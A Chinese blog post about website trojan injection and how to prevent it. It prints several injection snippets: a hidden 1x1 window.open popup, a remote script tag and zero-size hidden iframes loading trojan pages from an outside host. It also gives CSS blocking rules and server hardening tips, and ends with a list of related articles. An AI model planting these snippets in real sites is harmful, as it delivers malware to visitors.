喜欢的朋友可以关注下。

相信很多的朋友都有遇见过,通过百度快照访问一个网站被跳转到另一个目标网站。

这就说明网站被劫持了,那么黑客为什么要劫持这些网站呢?黑客一般选择什么样的网站下手?下面我们就一起分析一下。

首先黑客一般都会选择信息类网站,购物网站等,因为这些网站的IP高,劫持这些网站能达到他们的引流目的。我们这来做一个假设,如果有100个用户准备访问A网站,但都被劫持到B网站了,那么只是会有10%的用户会对B网站产生兴趣,那么他们的引流目的就达到了,对于A网站而言,他们就损失了部分用户,这是他们不愿看见的,所以他们是很痛恨黑客的。

当然被黑客劫持的网站往往他们都会引流到一些菠菜类的网站,相信很多人看了都会有去搏一搏的心态,一玩不要紧,如果你的控制能力很差的话,那么你就深深的陷入了,这是一个吃人不吐骨头的,这里还是温馨的提醒大家 不要有赌博的心态,不说题外话了,下面我们就一起来看看所谓的木马。

首先,我们需要弄清楚黑客一般是通过哪些渠道来给网站挂木马的。

1.通过漏洞(例如一个软件的漏里,给你的服务器上传一些命令脚本)

2.破解你的服务器账号密码,创建子用户,任意上传脚本文件

这里我来例举一些常见的木马脚本命令:

现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

这种方法使用的关键代码如下:

window.open("http://www.mahaixiang.cn/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者 的网站中写入:

<script src="http://www.mahaixiang.cn/木马脚本.js"></script>

或者

document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")

还有这种方式

<iframe src="vbscript:[挂马脚本]">

这个图大家都能看明白,这就黑客的攻击流程。

其次,当我们发现自己的网站被挂马了,改如何来做呢?

当你的网站文件不是很多时,那么你可以一个一个来查看,看见陌生的代码,这时你就需要注意了,有可能就是木马了。

那么如果你的文件有成千上万个,自己一个一个的看那不是要看到眼花,这里我给大家推荐一款免费的查找工具护卫神,下面我把工具分享给大家需要可以下载

https://download.csdn.net/download/dsn727455218/10592371

这里面,是有三款软件,其一就是木马查找工具,已经防篡改工具,及防攻击的

上面介绍的是用工具来防止被挂马,那么我们通过代码来如何实现呢,一起来看看

防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被 document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访 问者的电脑中,从而起到防范JS脚本挂马的作用。

让JS木马的进程迅速中止

在 <head> </head> 之间加入如下代码:

屏蔽script和iframe

<style type="text/css" id="LinrStudio">/*<![CDATA[*/iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');/*]]>*/</style>

单屏蔽script

<style type="text/css" id="LinrStudio">/*<![CDATA[*//*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}/*]]>*/</style>

通过添加一个代码来防止被被人挂马。

下面我就给大家分享一下如何做好服务器安全工作:

1.对项目文件增加读写权限

2.服务器的密码不要用什么root,admin,123456这些很容易被试出来的,相信很多人都是用这个密码吧。

3.服务器限制IP登录,一般登录服务器基本上都是那么两个人可以设置白名单,其他的一律禁止登录

4.不定期的维护等

5.当然如果你们公司有钱,也可买付费产品,他们能防止的很多,我看阿里云的安骑士专业版一年的费用都是好几千,还不算其他的一些产品,相信很多的小公司,都不愿出这个钱,所以大家还是努力做好自己的防护措施。

如有需要可以加我Q群【308742428】大家一起讨论技术。

后面会不定时为大家更新文章,敬请期待。

喜欢的朋友可以关注下。

如果对你有帮助,请打赏一下谢谢。

网站被挂马的处理办法以及预防措施相关推荐

  1. 放假期间网站被挂马的解决办法

    放假期间网站被挂马的解决办法 青岛峰会期间本来想给自己放几天假的,因为网站的挂马给泡汤了,打开网站首页,使用浏览器的源代码功能,发现自己网站的首页多了很多木马代码,于是我连接FTP查看网站首页的代码中 ...

  2. 网站被挂马怎么解决_网站被黑解决办法

    网站被挂马后,我们打开的页面重则整个页面都被篡改为对方的页面,轻则打开看不出变化实际上在搜索引擎我们的标题和描述都被不法分子修改了,不看源代码我们都不能够轻易的察觉出来.接下来我们来看看这一类网站被黑 ...

  3. 最新网站被挂马被跳转解决办法

    撸了今年阿里.头条和美团的面试,我有一个重要发现.......>>> 最近收到一位客户的反馈,告知网站又被挂马,(织梦程序真让人头疼总是被挂马,dedecms经常是被挂马真晕了是的~ ...

  4. 网站被黑了被挂马篡改后,如何解决网站被挂马?

    文章目录 网站被黑了.被挂马.被篡改后,自己如何解决网站被挂马? 示例: 方法一 一. 发现被黑,网站被黑的症状 二.自己猜想了一下原因,页面和百度抓取收录显示不一致.查服务器日志方案不可行. 三.找 ...

  5. 教你如何防止网站被挂马!

    如何防止网站被挂马! A.为什么好好的网站会有木马? 一般木马是来自ASP SHELL和PHP SHELL的程序段控制不严,程序上有上传功能,没有进行文件目录和文件后缀等的判断,一般这类的目录,以&q ...

  6. 织梦网站被黑客生成html,dedecms网站被挂马怎么处理

    dedecms被批量挂马后如何处理?我们知道一般站长选择织梦系统是因为其支持生成静态页面以便于seo优化.但是根据西部数码west263.com开发工程师刘工介绍,一般被挂马的网站不单单是一个页面,目 ...

  7. 警惕:高考将至 著名高校网站被挂马

    据瑞星"云安全"系统监测,5月21日,"西南财经大学经济学院"."北京大学国家发展研究院"."广西新闻网"等网站被黑客挂 ...

  8. 解决web网站被挂马清除方法

    解决web网站被挂马清除方法 参考文章: (1)解决web网站被挂马清除方法 (2)https://www.cnblogs.com/su-root/p/9976243.html 备忘一下.

  9. 黑客挂马紧盯娃娃 儿童节育儿教育网站被挂马

    据瑞星"云安全"系统监测,5月31日,"39健康育儿网"."好得网教育频道"."湖南教育资源门户网-湘教在线"等大型教育 ...

  10. 网站被挂马,有免费检测的网站吗?

    如果你的网站被挂马,可以使用一些免费的网站进行检测,以下是一些推荐: Sucuri SiteCheck: https://sitecheck.sucuri.net/ Sucuri SiteCheck ...

最新文章

  1. Java struts 2 源码阅读入门
  2. 数据库连接用户名和密码加密
  3. 黑客窃取思科、IBM与甲骨文认证管理系统内的敏感数据
  4. oracle学习笔记系列------oracle 基本操作之表的增删改查
  5. 如何成为一名游戏设计师
  6. paip.提升用户体验=----c++ qt 字体切换功能缺少的总结..
  7. c语言——高精度除法
  8. 【ACL2020】结果已出,录用论文抢先看!
  9. Mach-O入门理解
  10. PHP生成图形验证码
  11. 为什么所有APP都想获取你的定位?
  12. 使用yocs_velocity_smoother对机器人速度进行限制
  13. 电气工程类期刊最新数据+2019年电气工程领域的中文期刊(EI期刊+中文核期刊)
  14. gdc服务器ssl证书不一致,如何解决SSL证书不匹配错误
  15. 一个事物两个方面的对比举例_对比属于修辞手法吗
  16. 关于10G/40G/100G数据中心光纤布线知识
  17. AR路由器web界面每IP限速配置方法
  18. dede实现手机wap浏览
  19. python 计算器 loop_python计算器实现 Yeah
  20. matlab中变压器的励磁阻抗参数设置,【请教变压器零序阻抗与正序或负序阻抗之间的比例关系,如1台变压器的阻抗4.5%,哪他的零序阻抗通常是多少?】_阻抗 变压器_全球新能源网...

热门文章

  1. HTML5视频和音频常见的格式,HTML5中视频音频的使用详解
  2. 超参数调优方法整理大全
  3. 2年修完6个清华CS硕士学位第3周反思报告
  4. 校园 计算机网络设置路由器,Drcom校园网连接路由器怎么设置
  5. 争对让望对思野葛对山栀注解_《笠翁对韵》四 支(4)
  6. 通达OA系统管理员操作手册
  7. 稻盛和夫《调动员工积极性的七个关键》读书笔记
  8. 直角三角形斜边用计算机怎么算,直角三角形斜边怎么算 计算方法有哪些
  9. python直角三角形的两个直角边、求斜边_直角三角形斜边公式计算器 两个直角边边长的平方加起来等...
  10. Win7手工查找notepad.exe的IAT